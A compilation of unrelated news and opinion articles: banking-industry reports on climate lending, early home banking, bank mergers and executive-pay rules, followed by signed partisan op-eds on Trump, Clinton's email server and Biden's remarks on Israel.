SUSPECTS IN BENAZIR ASSASSINATION HAVE TIES TO MUSHARRAF by Ahmar Mustikhan WASHINGTON, D.C. -- When Gordon Brown this past Monday feted coup-leader-turned-President Pervez Musharraf at 10 Downing Street, Britain's new prime minister probably didn't ask the Pakistani dictator a question that is now on many minds: Did you order the murder of Benazir Bhutto? [MORE] Momentum

TO THE VERMONT DELEGATION: WHAT HAVE YOU DONE FOR US LATELY? by Joyce Marcel DUMMERSTON, Vt.  Back when President George W. Bush and Dick Vice President Dick Cheney were building up to their loathsome war in Iraq, very few people were brave enough to call the bullies' bluff. [MORE] On Native Ground

IF BUSH HAS HIS WAY, WE'LL NEVER LEAVE IRAQ by Randolph T. Holhut DUMMERSTON, Vt. - In his final State of the Union address on Jan. 28, President Bush cautioned against accelerating U.S. troop withdrawals from Iraq, saying that it would endanger the process that has been made over the past year. [MORE] Campaign 2008

CLASH OF COMMENTS AND PROTESTORS AT CLINTON, OBAMA RALLIES IN DENVER by Ted Manna DENVER, Feb. 1, 2008 -- At least four presidential campaigns of both partiers rolled into in Denver this week ahead of the Feb. 5 "Super Tuesday" primaries in 22 states, but it was the Democratic presidential contenders who drew the big crowds and duked it out Wednesday. If sheer numbers are any indication, Sen. Barack Obama - preceded by a buoyant and beautiful Caroline Kennedy - won the round handily. He is the overwhelming favorite to win the Colorado primary next Tuesday. [MORE] The Willies

WHY THE FLORIDA PRIMARY STINKS by Joe Shea BRADENTON, Fla., Jan. 30, 2008 -- I was with my wife and daughter driving the back way from Miami home to Bradenton when we stopped at a McDonald's in Clewiston, the only big town along the vast shore of Lake Okeechobee, the state's precious freshwater reservoir. The McDonald's had three televisions at a central seating area, each tuned to a different network, and our table was in front of CNN as the very first election results started to pour in around 7:30PM. With them, almost as counterpoint, suddenly came such an overwhelming odor of cow plop that my wife started to throw up as we all ran to the parking lot. [MORE] Passings: Suharto

DEATH OF A KEMUSU THUG by Andreas Harsono JAKARTA - A few minutes after hearing that former president Suharto had died in his hospital bed, Marco, a militia leader in downtown Jakarta, raced to Suhartos house, wearing his jungle camouflage and began guarding the Suhartos residence on Cendana Street. [MORE] Constance

I REMEMBER YOU by Constance Daley ST. SIMONS ISLAND, Ga.. -- It seems to be more often lately that the sentiment is spoken but it's always been out there: "You never get over the death of your child." This is true. But the heartfelt expressions come from some who cannot fathom the notion of losing a child; their own child is who is in their mind, not another mother's child. [MORE]
The Paris Agreement, the global climate change accord crafted by 196 nations at a United Nations conference in December, and formally signed Friday, has huge and mostly positive implications for banks.

The agreement seeks to limit the rise in global temperatures this century to 3.6 degrees Fahrenheit or 2 degrees Celsius. Developed countries are to make binding reductions in their carbon emissions and to submit their progress for international review. In all, 168 countries, including the U.S., pledged to sign the agreement when it opens for signing Friday.

Lending Opportunities and Related Policies

The agreement is widely expected to be the catalyst for large-scale lending and investments in greenhouse gas (GHG) reduction technologies and infrastructure. The International Energy Agency has estimated that the investment required to meet the Paris Agreement goals could be a towering $1 trillion annually. Bank of America Merrill Lynch calculates that investments in renewable energy alone will need to grow to $900 billion by 2030.

Barriers to investment to date encompass both financial and nonfinancial challenges. The immaturity of many green technologies presents an unattractive risk-return profile. Analysts note financial modelling challenges, lack of collateral, high upfront investments, longer credit payback periods, and lack of awareness or lack of technical capacity, and the adverse financial regulatory environment.

Evaluating the risk of climate change-driven opportunities for financial institutions is particularly challenging because of the complexity and dynamic nature of decisions required to deploy climate-related solutions. Climate solutions include disruptive technologies in mobility, buildings, manufacturing, infrastructure and energy production. Banks considering opportunities to finance, underwrite and invest in these technologies must consider the likelihood of necessary changes in policies, infrastructure, market conditions and consumer behavior.

Consider, as one example, carbon-reducing options for coal-fired power plants. As investments in coal-fired power plants and related assets  including coal mines  are at increasing risk due to their high GHG emissions, there are business opportunities to convert coal plants to biomass fuel. Those types of projects will likely open the door to new lending opportunities, but any credit analysis is subject to uncertainty. There is the technology risk from new fuel types, the infrastructure risk from there not yet being an established fuel supply and policy risk. Will environmental regulators consider biomass emissions as carbon neutral?

Still, banks appear ready to take on the challenge of low-carbon investments. For example, Bank of America committed $125 billion by 2025 to lending, investing, capital-raising, advisory services and development of financing solutions for low-carbon businesses. Those include renewable energy, energy efficiency and sustainable transportation. This commitment follows on a previous $50 billion commitment. As part of its initiative, B of A specifically extends lending and credit to lower-carbon companies.

The agreement is meant in part to improve the investment environment for low-carbon technologies, in particular by compelling nations that are party to the agreement to encourage carbon-reducing projects, programs and technologies from their respective business sectors. The agreement also requires developed countries to provide $100 billion annually to the Green Climate Fund for climate-friendly infrastructure construction in developing countries.

To benefit from funding available through the newly formed GCF, financial entities require accreditation. In 2015, Deutsche Bank became the first commercial bank to be accredited, which allows Deutsche to act as a channel through which the fund will deploy resources to developing countries, including through lending, equity investments or guarantees.

Steps to Reduce Economic Risks of Climate Change

In addition to the enormous lending opportunities it facilitates, the Paris Agreement will also help protect financial institutions and their assets from the potent economic fallout of rising temperatures. Potential climate change-related losses are projected at $43 trillion in present value for the public sector alone, or 30% of current assets.

In September, Mark Carney, governor of the Bank of England and chairman of the Group of 20's Financial Stability Board, warned that climate change posed a stark risk to global stability: "The challenges currently posed by climate change pale in significance to what might come. The far-sighted amongst you are anticipating broader global impacts on property, migration and political stability, as well as food and water security."

It is therefore critical for financial institutions to apply stress tests to their commercial lending portfolio to determine and address climate-related risks. Companies must contend not only with physical property risk but also vulnerability in portfolio business modelling. In order to help financial market participants understand their climate-related risks, the FSB formed a task force at the end of last year to facilitate climate-related financial risk disclosures from companies.

Physical property risk stems from the increase in frequency or magnitude of severe weather events or sea level rise. Because climate modelling and the ability to assess regional risk are evolving, even insured products may be exposed should insurers undervalue the potential for climate effects.

Risk may manifest as well from vulnerability of commercial borrowers of business loans sitting on banks' portfolios. This would include carbon-intensive businesses subject to increasing carbon regulation, or businesses subject to shifts in consumer behavior away from carbon-intensive products.

A comprehensive portfolio assessment should consider the carbon footprint of assets, vulnerability of business models to customer preference for low carbon products and services, and vulnerability of assets to extreme weather events and drought.

These practices will demonstrate to investors that the bank is strategic and effective in protecting assets from climate risk. Doing so will also help banks to meet Securities and Exchange Commission requirements for disclosure of material nonfinancial information. The Sustainability Accounting Standards Board, for example, identifies credit risk to the loan portfolio presented by climate change as a material disclosure issue.

The Paris Agreement also will focus more attention on dynamic legal issues dealing with U.S. efforts to reduce GHG emissions. The U.S. Supreme Court is expected to rule in 2017 on the Obama administration's Clean Power Plan (CPP) rules to significantly reduce greenhouse emissions from U.S. power plants. While the court took the unusual step of issuing a stay on the CPP regulations until it decides the case, it previously ruled that the government can regulate these emissions.

Meanwhile, several large states, including California, New York and Washington, continue to pursue aggressive carbon-reduction goals and will continue to do so regardless of the court's forthcoming decision.

The Paris Agreement and other efforts to reduce GHG emissions mean profound changes and opportunities. As such, banks should seek to understand the accord and track its ongoing implementation.

Lisa Grice is the global director for sustainability services for Ramboll Environ, a global environmental and health consulting firm.
Home Bank Customers Grow to About 44,000

By DAVID O. TYSON

The American Banker estimates 44,000 consumers and small businesses now use microcomputers and terminals to do their banking from homes, offices, hotel rooms, airport club lounges, and other remote locations.

Twenty-two banks, thrift institutions, and credit unions are in full commercial operation with home banking programs; 25 others are in pilot tests; and another 15 have disclosed plans to offer bank-at-home services eventually.

In terms of customers, Chemical Bank is the leader in this emerging way of delivering retail financial services. The New York bank has issued personal identification codes, or PICs, to 21,000 individuals so they can access Pronto, its videotex system built around home banking.

Previously, Chemical Bank had reported only the households that are signed up for Pronto, currently 16,000, since it issues an encoded software diskette to each. But in many of the households, more than one individual uses the disk to bank via Pronto and each individual has his own identification code.

This put Chemical and other banks using special software at a disadvantage in determining market position, since such software is not required by many institutions offering home banking. The Bank of America, heretofore considered No. 1, has an open system that relies for identification on the personal identification codes, passwords, and account numbers that the user himself enters, not codes entered automatically by a software program.

To standardize its survey, the American Banker asked chemical and other institutions to disclose the total number of personal identification codes issued to home banking customers.

On that basis, Bank of America is second with 16,000.

Third probably is Citibank, which had 1,000 in its HomeBase pilot test and is believed to have converted most to Direct Access, its new fully operating program. Citibank declines to disclose how many use Direct Access but says new customers have been signing on steadily since it was introduced in December. Its Focus asset management accounts, an upscale product, also can go on line since October.

Fourth is Madison National Bank, Washington, with 650 in its proprietary system, up from 550 in October. Beyond that, no institution appears to have more than a few hundred on-line customers. The growth has been slow. It is expected to accelerate as the technology catches on and banks improve their systems and add enhancements.

Only one band has dropped out of home banking recently  Farmers State Bank & Trust Co., Jacksonville Ill., which had seven customers in a pilot test of the system it designed.

In the American Banker issue of Oct. 29th, Continental National Bank, Miami, was shown incorrectly as having 950 online customers, which would have been a huge increase. The bank acknowledges that it furnished a total combining ATMs and home banking customers. Its home banking customers now number 270.

Chemical bank issued a news release on Thursday, announcing it now has more than the 16,000 households in Pronto and noting this was a 150% increase since last July.

"It appears that electronic banking and information services are taking hold," the release said.

The bank said a survey shows that 53% of Pronto subscribers have incomes of more than $50,000 and 36% earn between $25,000 and $50,000 annually. The largest age group comprises those between 35 and 49 who account for 44% of users. Almost 45% have college degrees and 39% have graduate degrees.

"More than 1,200 households now are signing on monthly, and the percentage of those new Chemical is 18%, up from the 16% September figure," Robert B. Willumstad, senior vice president, said in the announcement. They also tend to open new accounts with the Bank. The average Pronto user has more than twice as many accounts with the bank as non-Pronto Chemical customers.

Chemical said that households in which two people use the service accounted for 41% of the total. In 7%, three or more use it.

The aggregate numbers seem certain to grow. For example, the New York market is under a barrage of advertising and in-branch promotion by Chemical's competitors  Manufacturers Hanover Trust Co., Citibank, and Chase Manhattan bank. All rolled out full commercial home banking programs late 1984. None will say how many users have signed on.

The next program to go live probably will be that of Security Pacific National Bank, Los Angeles. It has repeatedly delayed plans to hook into Gateway videotext system in Orange County, Calif., via VideoFinancial Services. Early February now is the target.

VideoFinancial Services also has a deal with CompuServe to be the gateway for banks into that on-line information service. William S. Harris, the VideoFinancial president, says a series of announcements are forthcoming.

Another system operator  Shuttle Corp., Redmond, Wash.  expects to put Louisiana National Bank, Baton Rouge, on line in the first quarter and says it has contracts with other institutions.

The NCR Universal Credit Union, Dayton, Ohio, has formed a cooperative to share research and development expenses with three other credit unions and expects the others to go live in April on CompuServe. NCR Universal itself has 150 on-line customers.

And Southeast Bank, Miami, is considering making its service available to personal computer users, not just through Spectre terminals required for Viewtron, the videotext system in southern Florida.

Viewtron has fallen far short of its promoters' hopes. Mr. Harris of VideoFinancial says it has 3,200 to 3,500 subscribers altogether and the home banking customers in that group number less than 1,000.

Whatever the exact number, only 74 of them are in the four other Viewtron banks with operating or pilot programs. The rest are in Southeast, which has not disclosed the number. Lester Freeman, Southeast marketing officer, did not respond to telephone requests for the total.

The problem is costs for the user. Though it brings in videotext pages of beautiful color and graphics, the Spectre terminal is $600 to buy or $39.95 a month to lease as part of a subscriber package. But its use is limited to Viewtron.

By contrast, the owner can use a microcomputer for a growing array of functions, either on line to a videotext service or off line with his own software. He sacrifices high resolution color and graphics for a text-only system that is more diversified. He may pay more for it but he can do more.
The biggest investor in Middleburg Financial plans to withhold support for the Virginia company's director nominees.

David Sokol, chief executive of Teton Capital in Jackson, Wyo., has been pushing the $1.3 billion-asset company to sell itself. Sokol, who made his first investment in Middleburg in 2009, individually owns about 30% of the company's stock.

"I believe it is clear that [Middleburg] has more value as part of a larger bank than on a standalone basis," Sokol wrote in an April 20 letter addressed to the company's directors. "If the board believes that a status quo/go-it-alone plan will provide more value to shareholders it should make that plan and all of its assumptions available to shareholders. I look forward to a timely response."

Sokol's decision to withhold support for board nominees may be more of a symbolic move because Middleburg has plurality voting for directors.

Sokol said he recently hired a law firm and an investment bank that specialized in bank M&A to assist him me "in realizing the intrinsic value" of his Middleburg investment. "I believe that there is no prospect that [Middleburg's] own growth initiatives can offset the negative market conditions impacting it and other community banks, including increased competition for customers, costly regulatory compliance and general economic uncertainties," Sokol added.

A Middleburg spokeswoman noted earlier in the week that the company was aware of Sokol's concerns.

"Our board  and management team value the views of all shareholders and welcome input towards the goal of enhancing shareholder value," the spokeswoman said in an email. "We have appreciated our long-standing relationship with Mr. Sokol and look forward to maintaining our constructive dialogue. We remain committed to executing on our strategic initiatives to grow the business, deliver robust financial performance and enhance shareholder value."
High Point Bank in High Point, N.C., faced a decision all too familiar to other community banks: go big or go home.

The $851 million-asset privately held company chose the latter, agreeing in November to sell itself to BNC Bancorp, also based in High Point, for $141 million in cash and stock.

The decision wasn't easy, though.

High Point Bank, which resisted an overture from the $5.7 billion-asset BNC as recently as late summer 2014, took a serious look at aggressively building scale to stay independent before it started seeking out buyers, based on disclosures in a proxy statement filed on Tuesday.

The company had been slowly expanding in prior years by opening branches in nearby cities. Still, the size of its loan book decreased by 5% between 2011 and 2015, totaling $507 million at Dec. 31, according to data from the Federal Deposit Insurance Corp. It also lost market share in High Point over that time, though it remained the city's biggest bank in mid-2015 with nearly 27% of deposits.

Despite those challenges, High Point Bank's management and board determined last July that they could develop a "favorable" plan to get as big as many other banks in its market, but doing so would have involved "significant expense and risks," the proxy said. The review came after an unnamed bank approached the company about a merger of equals before eventually backing off.

By early September, however, management become more pessimistic about going it alone, expressing "increasing concerns about higher costs and slower growth in the markets where [the bank] competed," the filing said. An aggressive growth plan would have required "substantial capital investments" from a company that had a very small base of existing shareholders, "with no assurance of favorable results."

Roughly 55% of High Point Bank's stock is held by a series of trusts controlled by three members of the McInnis family, including Matthew McInnis, the bank's chief strategy officer. That stake is valued at more than $78 million based on the terms of the bank's sale.

High Point Bank in mid-September authorized its investment bank to contact three institutions. Two companies, including BNC, conducted due diligence before providing proposals in late October.

BNC proposed paying $300 a share, noting that it would not increase the value of its offer. The other bank "presented a range of values  that was materially lower" than BNC's proposal, the filing said.

BNC agreed to buy High Point Bank less than a month later in a deal valued at 145% of the seller's tangible book value. McInnis is set to join BNC's board; he will also serve as a consultant and receive compensation that is "substantially equivalent" to what he currently makes at High Point Bank, the proxy said.


WASHINGTON  The banking regulators made several critically important changes in their new plan released Thursday to restrict executive pay at financial institutions after their first attempt flopped in 2011.

For starters, the revised proposal casts a much wider net than the initial proposal. Rather than simply applying to C-suite executives, the plan additionally takes aim at "significant risk-takers"  a new designation designed to target employees who have the ability to place large bets for a firm or owe much of their pay to incentive-based compensation.

The regulators "are much smarter about how people get paid than they were five years ago," said Marc Trevino, a partner at Sullivan & Cromwell. "They really understand a lot more about how pay programs work, and I think the rule tries to set limits, but in a world that is much more complicated than the world they were imagining in 2011."

The new proposal also adds an additional tier to its structure, replacing the original plan's two levels with a third category that includes just the biggest banks with more than $250 billion of assets. Those institutions will be subjected to the proposal's toughest standards, while smaller banks face less onerous restrictions (banks with less than $1 billion of assets are exempted altogether).

That reflects a notable shift toward "tailored" rules by the financial regulators  a refrain meant to concentrate the brunt of regulatory requirements on the largest institutions and to lessen the burden on smaller ones.

Susan O'Donnell, a partner at Meridian Compensation Partners, said that the proposal is in some ways good news for the smaller banks because it limits their exposure to more proscriptive limits. But some aspects of the plan may be problematic, she said. By limiting the upside of incentive-based compensation, executives may have less reason to try to outperform.

"It is important that for the majority of (smaller) banks, these rules won't be cumbersome, but for banks over $50 billion in assets, the proposed requirements will likely require a meaningful shift in the pay mix and programs going forward  of course with potential for unintended consequences," O'Donnell said.

The revised proposal puts affected executives into two categories: top level executives like the president, chief executive officer, chief operating officer, chief lending officer and chief risk officer and so-called "significant risk-takers" who receive at least one-third of their pay from incentive-based compensation. Additionally, a risk-taker includes any individual who may commit or expose at least 0.5% of an institution's assets or who regulators specifically designate.

Risk-takers face different requirements depending on the size of the bank. For institutions with more than $250 billion of assets (Level 1), senior executives must defer 60% of their incentive-based pay for at least four years, while risk-takers defer 50% for that time. For institutions with $50 billion to $250 billion of assets (Level 2), senior executive defer 50% of their incentive-based pay for three years while risk-takers defer 40%. A third tier of institutions, those with $1 billion to $50 billion of assets (Level 3), are subject to enhanced disclosure requirements and more oversight from regulators.

Banks and credit unions are not the only financial firms subject to the rule  entities like mutual funds and certain hedge funds regulated by the Securities and Exchange Commission, the government-sponsored enterprises and beyond are all subject to compensation rules whenever they are finalized.

Michele Meyer, a director at Promontory Financial Group, said that even though the requirements are tougher for the largest institutions, the proposal's wide net will probably be most challenging to the larger midsize banks and the nonbank funds that have not had to go through these kinds of changes.

"It may have less impact on the very largest institutions, which have made moves in this direction in recent years that are generally consistent with key themes in the proposal," Meyer said. "But it's going to be a bigger change for other covered institutions, including Level 2 institutions and many SEC-regulated entities."

Both senior executives and "risk-takers" are also subject to policies allowing either a firm or a regulator the ability to reclaim incentive-based compensation if an individual's actions later turn out to have been based in fraud, deception or other malfeasance. Known as "clawbacks", these provisions are often commonplace in executive compensation packages today, though the proposal requires compensation to be subject to clawbacks for seven years, which is a longer timeframe than most such provisions currently in place.

The proposal would set a cap on total incentive-based compensation at 125% of target for executives at the largest institutions and 150% of target for a "significant risk-taker" at such institutions.

Bartlett Naylor, financial policy advocate for Public Citizen, said that he was encouraged by the wider net that regulators cast  and the hard line they appear to take. Still, he raised concerns it doesn't go far enough.

"This does affect a lot of people, tens of thousands of bankers are going to arguably have a methodology for their pay altered," Naylor said. "What we wanted was for it to be so dramatically different that it would attract an entirely new type of person to banking  someone who thinks that banks serve a social purpose."

The revised proposal  which is a multiagency regulation spanning the National Credit Union Administration, the Federal Reserve, the Federal Deposit Insurance Corp., the Office of the Comptroller of the Currency, the SEC and the Federal Housing Finance Agency  has been a long time coming. It had been widely expected to be released last year, but was delayed amid interagency disagreements. President Obama urged regulators to move faster on it during a meeting with them last month.

During a board meeting Thursday, NCUA Chair Deborah Matz  who is stepping down at the end of the month  acknowledged that getting to a reproposal was a journey.

"It's been a very long time coming, because on this controversial issue, it can be very difficult to develop a rule which meets the mandate of the law and at the same time is focused and fair," Matz said.


Trust can be a double-edged sword when it is not founded on insight. In politics as in personal relations, one can trust the wrong person or distrust the right one -- with unfortunate consequences. Political candidates almost universally craft their public image to play to the voters perception of their character -- the kissing babies syndrome. They know that their audience is susceptible to emotional manipulation and so present themselves as deeply concerned with the public welfare, as scrupulously honest and, most importantly, as likeable and trustworthy.

But let the candidate refuse to play by the rules of the electoral game, to cast politically-correct caution to the wind, and to say directly what is on his mind without hedging or skirting contentious issues, and he will immediately be trashed as a moral pariah or an unsophisticated pleb. Establishment politicians will turn against him in an orgy of vilification and horror, and a partisan media will launch incessant volleys of contempt, vituperation and slander against both his character and his candidacy, dismissing him as a demagogue-in-the-making, a Republican version of Bernie Sanders, a social barbarian, a ruthless capitalist, and so on. In an access of unconscionable blindness, even so generally astute a commentator as Carolyn Glick has fallen for this canard, erroneously claiming that Trump offers no solutions to Americas problems, merely focuses on blaming others while channeling hate. The disreputable tactic of blaming Trump for the programmatic violence of the Left -- a disingenuous maneuver of which even Marco Rubio and Ted Cruz (aka TrusTed) were not innocent -- is another instance of such malfeasance.

Such is the fate of a candidate who has dared to speak truth to cowardice and to grapple with the hot button issues of the current social, cultural, and political scene: Muslim immigration and the problem of jihad, open borders and the massive influx of illegal aliens, trade imbalance, the deterioration of the manufacturing industry, galloping debt, the shrinking of the middle class and the plight of the American blue-collar worker. The message may not always be carefully articulated (to put it mildly), but it is the one message that addresses the critical dilemma in which the nation now finds itself. It is a message that is anathema to the gated elite, both political and intellectual, which is preoccupied with preserving its palatinate of power and privilege.

The primary strategy of the elite, as I contended in a recent article, is to promote public trust in its chosen candidates and, especially, corrosive distrust in those who have run afoul of its agenda. Cue the Donald. Republican politicians, conservative intellectuals and many common voters are willing to risk the dissolution of the party in ganging up on the one candidate who does not rely on corporate donations and the unsavory commitments that come with them, and who, for all his flaws (and who is without them?) has been willing to take a stand in defence of national security and restored solvency.

In effect, the electorate is influenced to trust the aristocracy of correct sentiment and presumably educated opinion and to distrust the swashbuckling outsider who has not been groomed by the keepers of the political estate and does not adhere to the standards of approved discourse. The individual voter is never encouraged to distrust both his vocal preceptors and his own endocrinal reactions, to engage in research, to reflect on the basis of evidence, and to acquire genuine insight in the process. That is, he is not schooled to think, to struggle for objectivity, since the press and the political establishment implicitly agree with ObamaCare architect Jonathan Gruber that the American public is terminally stupid. Whatever the level of public intelligence, the nomenklatura plainly is not to be trusted.

Whom, then, can one trust? Certainly not oneself -- at least, not ones initial reactions, whether pro or con. Self-distrust is a healthy position from which to begin ones search for truth -- or if undoubted truth is not available to the human mind, let us say credible verisimilitude. Nor is it a question of whom one personally likes or dislikes. The issue is larger than that. To base ones voting decision on personal liking or disliking of the man or woman in question, on the assessment of a candidates perceived personality or public manifestation, on a gut reaction to the face, the voice, the manner and the language is at best problematic. It is like living in an Oculus Rift world.

Trust, as we have noted, can be deceptive. People trusted Obama, possibly the biggest mistake the American people have ever made, and a vote for Hillary or Bernie, diligently angling for voter trust, would only prolong and intensify the agony. In my country, people did not trust former Canadian prime minister Stephen Harper, who navigated ably in the treacherous waters of a stormy political and economic world; instead they placed their trust in Justin Trudeau, who in six short months has amassed a $29.4 billion deficit, imported thousands of unvetted Syrian refugees at public expense, and is set to raise an already prohibitive tax rate.

Advocating for voter responsibility is a scarcely tenable proposition, and yet it is the sine qua non for democratic survival. I cannot say with assurance that Trump is the best man for the presidency, but I can say with confidence that his potential qualifications for the job have been obscured by an unremitting campaign of calumny and misapprehension that seems almost demented. The Michelle Fields controversy is an excellent example of how the media and the pundits have inflated a tempest in a teacup to tsunami proportions. I was once quite emphatically shoved aside by a pair of bodyguards when I approached Robert Spencer as he was being led to the podium --my bad, not his or his bodyguards. A speaker under threat has a right to a protected space.

Admittedly, there is no yellow brick road to the right choice. One can only work to be as well-informed as possible and to study the issues with close attention. And to distrust ones own subjective -- that is, immediate, visceral, idiosyncratic or ad hominem -- reactions to the politician who lobbies for your unearned favor or challenges your congenial assumptions.
Over the course of a year, many political pundits have prognosticated that the FBIs criminal investigation of Hillary Clintons use of a private email server to conduct all business while secretary of state will result in no FBI referral for indictment given the difficulty of proving the required element of intent with respect to her actions. President Obama returned to this familiar refrain in his April 10th televised interview by describing her actions as careless, but adding, She would never intentionally put America in any kind of jeopardy. Interest in the investigation has vacillated with intermittent periods of intense scrutiny engendered by a leak of details of the FBI investigation or the production of a detailed accounts such as Robert OHarrows excellent reporting in a March 27th Washington Post article. We now appear to be in a period where most have concluded it a fait accompli that a referral for indictment will not be forthcoming. However, many of the experts conclusions of no referral coming may be based upon a fundamental misunderstanding of intent. Additionally, the vast majority of media reporting has focused upon Secretary Clintons conduct while secretary of state. However, her greatest criminal exposure may well lie in her actions vis a vis the private server after returning to private citizenship. A few pertinent facts need be stated to support these conclusions.

The day after commencing her role as the secretary of state, Clinton signed an SF (Standard Form) 312. This document certified her understanding of the classified system, and her awareness of criminal penalties for disclosure of classified information. Most importantly she therein acknowledged: I agree that I shall return all classified materials which have, or may come into my possession of for which I am responsible because of such access. upon the conclusion of my employment or other relationship that requires address to classified information. She subsequently acknowledged in SF 312 that a failure to do such could be violations of 18 U.S.C 793 and/or 1924 of the Criminal Code of the United States.

In connection with her February 1, 2013 departure from the State Department, Clinton was clearly responsible under the State Departments own records-management manual to prepare an inventory of personal papers and government materials, along with any proposal for retention of papers in the inventory for requisite State Department approval. The purpose of the procedure was, by its own terms, to certify that the documentary materials proposed for removal could be removed without diminishing the official records of the department or violation of national security or other restrictions on disclosure. The SF 312 requirements specifically encompassed in its coverage Presidential appointees confirmed by the Senate. Secretary Clinton did not comply with any of the SF 312 procedures upon her departure from the State Department, but rather, simply retained her private server. Her document retention included at least 22 TOP SECRET/SAP documents. She continued to maintain the server in the basement of her Chappaqua, New York home. In May 2013 she turned over the server to Platte River Networks that matriculated all of Clintons emails to another server. The emails were additionally backed up by a cloud-based backup server for recovery in the event the primary server failed. Platte River Networks was not authorized to be a custodian of these government records. For 22 months after Clintons departure from State, the existence of the server was unknown to the vast majority of the federal government and the public at large. Admittedly, some State Department personnel were aware of the server. The existence of the server was first discovered by the Benghazi Special Committee in early 2015, and was brought to public by the New York Times on March 24, 2015.

The absence of an evil motive as an element of violating these statutes is confirmed in opinions wherein the courts have rejected arguments of government leakers that their press leaks were not motivated by evil intent, but rather, with the best interests of the United States at heart.

The four most applicable Espionage Act statutes to Clintons post resignation detention of government records are 18 U.S.C.  793, 798, 1924, and 2071. These statutes frequently define the mens rea requirement in terms of willfully, intentionally, and knowingly. A comprehensive analysis of all elements of these statues would require a multipage brief. It is critical to note that these various mens rea do not include proving intent to injure the United States. Nevertheless, mens rea requirements are slippery to define. In essence, the term willfully can best be defined as an intentional act with knowledge that it violates the law. Specific intent, applicable to some of the foregoing statutes, is defined as intending to commit a particular act with knowledge of a consequence to follow or intending a consequence. Knowingly refers generally to being aware that the conduct is of such nature as is prohibited by law, or in other contexts, that certain prohibited consequences will be the natural consequence of the action. Section 793(f) even lowers the requisite mens rea to gross negligence, generally defined as a very great negligence, or the absence of slight diligence, or the want of even scant care. It amounts to indifference so far as other persons are concerned.

In summary, Secretary Clintons conduct included (1) Written acknowledgement of the unlawfulness of maintaining personal custody of classified information after departure from her post as secretary of state; (2) Her acknowledgement, in March 2015, that she was familiar with the rules governing classification; (3) Her conscious decision to forego complying with the known requisite procedures, concerning documentation or its removal upon departure from the State Department; (4) Her unilateral decision to freely move the governmental documents to the Platte River server; and (5) Her subsequent unilateral destruction of documents including some that were clearly governmental as opposed to private in nature

The foregoing conduct reflects an intentional private retention of classified and other federal records whose proper place of custody was with the State Department. There is evidence that the acts were done not only intentionally, but with knowledge of the unlawfulness of the acts as opposed to being a product of mere carelessness on the part of Secretary Clinton. For example, unilaterally avoiding the SF 312 requirements upon her departure from State, coupled with retention of the materials for 22 months in the face of Freedom of Information Act (FOIA) and a congressional subpoena to the State Department, confirms that another motive other than her stated convenience was present in Secretary Clintons actions. In short, she wished to place the documents beyond the purview of public scrutiny under FOIA or through subpoena by retaining them in her custody as a private citizen. Ultimately, the discovery of her personal custody over the private server necessitated the reopening of previously closed FOIA lawsuits for purposes of supplementing the requested productions with Secretary Clintons emails. Her private retention additionally explains why the first subpoena from the Benghazi Special Committee to the State Department, encompassing all related Benghazi documents, resulted in the production of a grand total of eight Clinton emails. After the discovery of the private email server, Clinton was to produce approximately 55,000 pages of federal records

The cited statutes from the Espionage Act can, for the most part, be summarized as prohibiting the willful or intentional removal of classified information from its proper place of custody, prohibiting the willful concealment of classified information that has been maintained by the government, and prohibiting intentional destruction of classified materials. In the case of  793 and 2071, the materials need not rise to the level of classified. Her private retention of the government records for 22 months and transfer to Platte River evidences intent to conceal the existence of the records. Her destruction of some of the government records certainly appear to fulfill the various mens rea requirements of one or more of these federal statutes. Indeed, her compilation of the records without the participation of the State Department coupled with the deletion of so called private emails is among the most damning evidence against Clinton. Completion of the FBIs investigation and any referral awaits

Andrew F. Emerson is an attorney in Dallas, Texas and a frequent legal commentator. He can be reached by Twitter at Andrew Emerson@ConservAnalysi1
Yes, once again Vice-President Joe Biden, as the Sondheim song, Send in the Clowns, might put it, made his entrance with his usual flair. This time on April 18, 2016 Biden, speaking to a friendly and appreciative J-Street (the dovish Jewish organization and frequent critic of the policies of Israel) audience, was sharply critical of the government of the State of Israel and its prime minister Benjamin Netanyahu on a most inopportune day.

Biden, personifying the traditional U.S. State Department stance of being even-handed in the Israeli-Palestinian dispute, uttered perfunctory criticism of Palestinians for the failure of the last round of peace negotiations, but his main target for criticism was Israel. He made his point strongly. The Israeli government, with its steady and systematic expansion of settlements, legalization of outposts, and land seizures, was moving Israel in the wrong direction.

Biden spoke of his earlier meeting with Netanyahu and the Palestinian President Mahmoud Abbas, now nearing the 12th year of his four-year-term, and emphasized U.S. determination to push for a two-state solution despite our sometimes overwhelming frustration with the Israeli government.

In spite of the overwhelming frustration, the long-suffering Biden remained committed to Israels security, though he ignored the meaningful reality of stalled negotiations on the part of the U.S. over military aid to Israel that maintains that security. Curiously, Biden was not frustrated and did have praise for one Israeli, the 30-year-old Stav Shaffir, the youngest female member of the Knesset, the Israeli parliament, a leftist member of the Labor Party who is outspoken in her criticism of funding for Israeli settlements.

Biden may have been sure of his lines, but they were illustrative of his penchant for making gaffes. He talked of both sides, Israel and Palestinian, taking responsibility for counterproductive steps, a few hours after the Palestinian terrorist attack in southern Jerusalem. A bomb exploded at the back of a city bus, on its way during rush hour to Mount Herzl, injuring 21 people, some seriously. The attack followed the six-month wave of stabbings and related terrorism in Jerusalem and other places. It surprised Israelis because the last series of bus attacks, including the one at bus station in Tel Aviv when nine people and the suicide bomber were killed, had been in the 2000s.

Bidens immediate response on learning of the attack was that he did not know if the bus explosion was a terrorist attack. Others were more knowledgeable. The official Facebook page of Fatah, the moderate Palestinian organization, posted an announcement from a division of its military wing, the Al-Aqsa Martyrs Brigades in the Gaza Strip. The Brigades praised the good news of victory, and the fact that in the occupied city of Jerusalem dozens of Zionists were injured.

The announcement went on. The bus bombing showed that Palestinians continue to adhere to the option of armed struggle against the occupation with all possible means. The Brigades were reinforcing their threat in 2014 to turn Tel Aviv into a ball of fire.

Bidens one agreeable comment was that whatever the legitimate disagreements the Palestinian people have with Israel, there is never justification for terrorism. He went on, no leader -- though he did not mention Abbas specifically -- should fail to condemn as terrorists those who commit such brutalities.

Not unexpectedly, Riyad Mansour, the Palestinian representative on April 18, 2016 at the UN, refused to denounce terrorism against innocent Israeli civilians, because they are the occupiers. What might be expected, but is so far delayed, is that Mr. Biden and the Obama administration should talk of, call them by name, and denounce the real evildoers, Islamist terrorists.

Two other events on the same day as Bidens speech, and are relevant to it, are pertinent. One was the destruction by Israel of a deep tunnel built by Hamas in Gaza capable of reaching Kibbutz Holit in Israel. This tunnel was more sophisticated and better constructed than the many tunnels that Israel had found and destroyed in the 2014 fighting in the Gaza Strip.

